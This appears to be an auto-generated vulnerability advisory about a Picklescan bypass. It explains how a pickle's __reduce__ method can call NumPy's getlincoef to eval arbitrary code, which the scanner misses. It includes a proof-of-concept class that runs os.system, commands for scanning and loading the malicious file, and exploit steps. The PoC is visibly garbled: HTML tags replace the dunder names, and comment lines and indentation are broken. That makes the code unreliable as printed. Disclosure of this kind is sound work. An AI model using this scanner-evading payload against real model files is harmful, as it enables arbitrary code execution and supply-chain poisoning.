Listen to this Post
How the CVE Works
This vulnerability is a bypass of the Picklescan security scanner. Picklescan works by analyzing pickle files for dangerous function calls (GADGETS) that could be used for arbitrary code execution during the unpickling process. The scanner maintains a blocklist of known dangerous modules and functions.
The exploit uses a lesser-known function within the NumPy library, numpy.f2py.crackfortran.getlincoef, which is not on the scanner’s blocklist. An attacker creates a malicious class with a `__reduce__` method. This method is a special function that Python’s pickle protocol calls to customize how an object is serialized and deserialized.
When the malicious object is pickled, its `__reduce__` method is saved. Upon unpickling with pickle.load(), the `__reduce__` method executes and returns a callable (the `getlincoef` function) and its arguments. The first argument to `getlincoef` is a string that is evaluated as Python code using eval(). By crafting this string (e.g., "__import__('os').system('whoami')"), the attacker achieves arbitrary command execution.
Because `numpy.f2py.crackfortran.getlincoef` is not flagged by Picklescan, the malicious pickle file is incorrectly reported as safe, leading users to trust and load it, thereby triggering the exploit.
DailyCVE Form
Platform: Python Picklescan
Version: < 0.0.16
Vulnerability: Scan Bypass
Severity: Critical
Date: 2024-09-17
Prediction: Patch 2024-09-30
What Undercode Say: Analytics
Scanning a malicious file that bypasses detection
picklescan malicious_model.pkl
Output: "Scan finished, no threats found."
Loading the malicious pickle executes code
python -c "import pickle; pickle.load(open('malicious_model.pkl', 'rb'))"
Output: username (from 'whoami' command) printed to terminal.
Proof-of-Concept Malicious Class
import pickle
from numpy.f2py.crackfortran import getlincoef
class MaliciousPayload:
def <strong>reduce</strong>(self):
Return a function not in Picklescan's blocklist
return getlincoef, ("<strong>import</strong>('os').system('touch /tmp/pwned')", None)
Create the malicious pickle
with open('evil.pkl', 'wb') as f:
pickle.dump(MaliciousPayload(), f)
How Exploit:
1. Attacker embeds `__reduce__` gadget.
2. Gadget uses `numpy.f2py.crackfortran.getlincoef`.
3. Scanner misses it (not in blocklist).
4. Victim scans, sees “safe”.
5. Victim loads pickle -> code executes.
Protection from this CVE
1. Update Picklescan.
2. Avoid unpickling untrusted data.
3. Use `pickle.loads()` with restrictions.
Impact:
Arbitrary Code Execution
Supply Chain Poisoning
Scanner Trust Compromised
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
